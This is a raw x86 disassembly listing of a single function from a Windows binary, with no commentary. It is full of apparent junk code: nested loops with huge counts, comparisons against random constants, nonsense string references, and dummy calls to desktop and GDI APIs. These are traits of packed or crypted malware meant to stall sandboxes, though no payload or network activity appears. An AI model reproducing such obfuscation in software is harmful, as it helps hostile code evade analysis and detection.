mov byte [edi + 0x10072bd0], al
inc edi
push 1
pop edx
cmp edi, 4
jl 0x1003c1bc
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x20], 0xbc35240c
mov dword [ebp - 0x1c], ebx
jmp 0x1003c2d0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003c2c3
mov dword [ebp - 0x40], 0x155
cmp dword [ebp - 0x40], 0x3e4
jle 0x1003c359
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x38], esi
and esi, edi
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x368]
or eax, edi
cdq
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003c313
mov eax, dword [eax]
push eax
call fcn.1004677c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x368]
call fcn.1000f813
inc edi
cmp edi, 0x4db4
jl 0x1003c2f7
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x30d8
jl 0x1003c2f0
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x3621
jl 0x1003c2eb
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov dword [ebp - 0xf0], 0x11
jmp 0x1003c4de
mov dword [ebp - 0x38], 0xae8c9f36
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0xcc], 0xffffffff
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x1c], ebx
jmp 0x1003c3a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x240], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003c393
push 1
push 0x601b
lea ecx, [ebp - 0xcc]
call fcn.100386e3
mov eax, dword [ebp - 0x23c]
xor edx, edx
mov dword [ebp - 0x2c], ebx
add esp, 8
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x174]
cmp ecx, eax
mov eax, dword [ebp - 0x180]
setl dl
xor ebx, ebx
add edx, 0xffff0003
cmp eax, edx
mov eax, dword [ebp - 0xf0]
setle bl
xor ecx, ecx
cmp ebx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x180], eax
sete dl
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, 0xc4aee507
setg cl
cmp eax, ecx
sbb eax, eax
xor ebx, ebx
neg eax
cmp eax, 0xfffffff6
jge 0x1003c465
mov byte [ebp - 0x70], bl
cmp byte [ebp - 0x70], bl
je 0x1003c4d8
xor eax, eax
inc eax
push ebx
mov dl, al
mov cl, al
call fcn.1003b25d
pop ecx
jmp 0x1003c4d8
mov dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], ebx
jne 0x1003c4eb
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0x605dd88b
mov eax, dword [ebp - 0xcc]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x180]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp eax, ecx
setl dl
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x23c], edx
test edx, edx
jne 0x1003c4d2
cmp dword [ebp - 0x34], ebx
jne 0x1003c4d2
cmp dword [ebp - 0x24], ebx
jne 0x1003c4d2
mov eax, ebx
jmp 0x1003c4d5
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
inc dword [ebp - 0xf0]
cmp dword [ebp - 0xf0], 0x18
jl 0x1003c368
cmp dword [ebp - 0x40], 0xfffffe23
jge 0x1003c4ff
push str.vwht_zwnckcsch_nqklp_olayjj
call fcn.1004677c
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [0x10072bd0]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x24], 0x9b55bb2c
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xb
jl 0x1003c575
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xffffffe3
jmp 0x1003c567
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xe
je 0x1003c564
push eax
push eax
push 0x33a9
push 0xc38
mov dl, al
mov ecx, 0x5798
call fcn.1003a062
add esp, 0x10
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xe
push 1
pop eax
jne 0x1003c53d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jne 0x1003c52d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xb
jge 0x1003c521
cmp dword [ebp - 0xc8], 0
jle 0x1003de72
cmp dword [ebp - 0xc8], 0x2aac
jae 0x1003de72
mov dword [ebp - 0x34], 0x400b
cmp dword [ebp - 0x34], 0x43ae
jle 0x1003c606
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
xor eax, esi
or eax, edi
or eax, ecx
mov ecx, 0x10075c58
cdq
push edx
push eax
call fcn.1000ed7e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x5a9f
jl 0x1003c5c4
inc esi
cmp esi, 0xe57
jl 0x1003c5bf
inc edi
cmp edi, 0x7729
jl 0x1003c5bd
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0xee7
jl 0x1003c5bb
mov dword [ebp - 4], 5
cmp dword [ebp - 0x34], 0x3d4b
jge 0x1003c625
mov edx, str.myilxmxbj_txab_ktjkxsauv_vnf_yhckf_hhnpgac_ohiabbcj_xzvxjou_wokzgs_ihqu
mov ecx, 0x10075c58
call fcn.1001381a
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], 0x390197f0
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x3c], 0xfffb
mov dword [ebp - 0x18], ebx
jmp 0x1003c67b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x108], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003c66e
mov dword [ebp - 0x18], ebx
jmp 0x1003c696
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x28c], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003c685
push 0x5dbb
push 0x1b58
push ecx
push ebx
mov dl, cl
mov ecx, 0x566e
push 0x1110
call fcn.10038a47
add esp, 0x14
cmp dword [ebp - 0x1c], ebx
jne 0x1003c6c4
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
dec dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x108]
cmp eax, 0x3b0a
mov eax, dword [ebp - 0x1c]
setne cl
sub ecx, eax
mov eax, 0x886a6c65
sub ecx, 9
neg ecx
push 0x49f9
sbb ecx, ecx
inc ecx
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 2
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
cmp ecx, 0x72920796
setl dl
xor ecx, ecx
cmp eax, edx
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1b4]
setle cl
push eax
lea eax, [ebp - 0x45]
mov dword [ebp - 0x108], ecx
push eax
push 0x1a2c
lea eax, [ebp - 0xc8]
xor dl, dl
push eax
lea eax, [ebp - 0x194]
push eax
xor eax, eax
lea ecx, [ebp - 0x120]
inc eax
push eax
push ecx
mov cl, al
call fcn.1003aca1
add esp, 0x24
xor eax, eax
inc eax
mov ecx, 0x2faa
mov dl, al
push 0x162c
push 0x5c79
push 0x3275
push 0x4ffe
push 0x25a8
push eax
push 0x100da008
push 0x7169
push eax
push 0x7b67
call fcn.10038776
mov eax, dword [ebp - 0x120]
add esp, 0x28
mov dword [ebp - 0xa0], ebx
add eax, 4
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x24], 0x2ba8d7d2
mov dword [ebp - 0x30], 0x24ac
mov dword [ebp - 0x30], 0xc92cebb3
mov dword [ebp - 0x38], 0xdfe1db4d
mov dword [ebp - 0x30], 0xb52c22a6
mov dword [ebp - 0x3c], 0x960cc19a
mov dword [ebp - 0x34], 0x6fd7
cmp dword [ebp - 0x34], 0x7000
mov dword [ebp - 0x40], eax
jle 0x1003c83b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
or eax, esi
mov ecx, 0x10075c58
or eax, edi
cdq
push edx
push eax
call fcn.1000ed7e
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x5282
jl 0x1003c80a
inc esi
cmp esi, 0x24a5
jl 0x1003c805
inc edi
cmp edi, 0x7491
jl 0x1003c803
mov dword [ebp - 4], 7
cmp dword [ebp - 0x34], 0x6f53
jge 0x1003c85a
mov edx, str.szymdogcm_ptuhvevd_wxd_kppe
mov ecx, 0x10075c58
call fcn.1001381a
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ebx
jmp 0x1003c89c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x150], 0x934215e1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003c88b
mov dword [ebp - 0x18], ebx
jmp 0x1003c8b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe4], 0x2bf33880
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003c8a7
mov dword [ebp - 0x18], ebx
jmp 0x1003c8d3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x130], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003c8c2
mov ecx, dword [ebp - 0x144]
xor edx, edx
mov eax, dword [ebp - 0x148]
cmp ecx, eax
setle dl
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x144], 0xffffffff
mov eax, dword [ebp - 0xe4]
sbb ecx, ecx
inc ecx
dec dword [ebp - 0xe4]
cmp eax, ecx
je 0x1003c90e
xor eax, eax
inc eax
jmp 0x1003c910
mov eax, ebx
mov ecx, dword [ebp - 0x144]
sub ecx, eax
mov eax, dword [ebp - 0x144]
sub ecx, eax
mov eax, dword [ebp - 0x14c]
sub ecx, eax
sub ecx, 0xbe7e5505
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x130], ecx
je 0x1003c941
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x1003c986
push ebx
push 0x2ba9
push 0x6d60
push 0x2c6d
mov ecx, 0x17b9
call fcn.1003b2d7
xor ecx, ecx
add esp, 0x10
inc ecx
jmp 0x1003cb45
mov dword [ebp - 0x28], 0x662
cmp dword [ebp - 0x28], 0x875
jle 0x1003c9c7
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10075c58
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000ed7e
inc edi
cmp edi, 0x702a
jl 0x1003c99a
inc esi
cmp esi, 0x64b6
jl 0x1003c998
push ebx
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [ebp - 4], 9
cmp dword [ebp - 0x28], 0x52c
jge 0x1003c9e6
mov edx, str.fvdkzqk_duuzanvz_rsobeeys_yohoxv_tizhk_dsaspsyso_wshypc
mov ecx, 0x10075c58
call fcn.1001381a
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
mov dword [ebp - 0x30], 0x7fce3bad
mov dword [ebp - 0x1c], ebx
jmp 0x1003ca2f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc0], 0x8e15976
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003ca1e
mov dword [ebp - 0x24], ebx
jmp 0x1003cb3b
mov dword [ebp - 0x90], 5
mov dword [ebp - 0x1c], ebx
jmp 0x1003cb65
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2d0], 3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003cb54
lea eax, [ebp - 0x90]
mov dl, cl
push eax
push 0x214e
push ecx
push ecx
push 0x5d36
mov ecx, 0x79ae
call fcn.10038a47
add esp, 0x14
mov dword [ebp - 0x90], 2
cmp dword [ebp - 0x90], ebx
jl 0x1003cbb6
xor ecx, ecx
inc ecx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x30], 5
cmp dword [ebp - 0x80], ebx
je 0x1003e1d9
mov dword [ebp - 0x1c], ebx
jmp 0x1003e1a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x30c], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003e193
mov dword [ebp - 0x80], ebx
jmp 0x1003e1d2
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x1c], ebx
jmp 0x1003e1ca
push ecx
mov dl, cl
call fcn.1003b25d
inc dword [ebp - 0x1c]
pop ecx
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x1c], ecx
jle 0x1003e1bb
inc dword [ebp - 0x80]
cmp dword [ebp - 0x80], ecx
jle 0x1003e1af
jmp 0x1003e20e
push ecx
push ecx
lea eax, [ebp - 0x80]
mov dword [ebp - 0x1ec], ecx
push eax
push ecx
lea eax, [ebp - 0x1ec]
mov dword [ebp - 0x1d4], 0x68dee21a
push eax
push ecx
push 0x69db
lea ecx, [ebp - 0x1d4]
call fcn.100397a3
xor ecx, ecx
add esp, 0x1c
inc ecx
push ecx
push ecx
mov ecx, 0x428b
call fcn.1003b34a
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
mov eax, 0x100da008
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret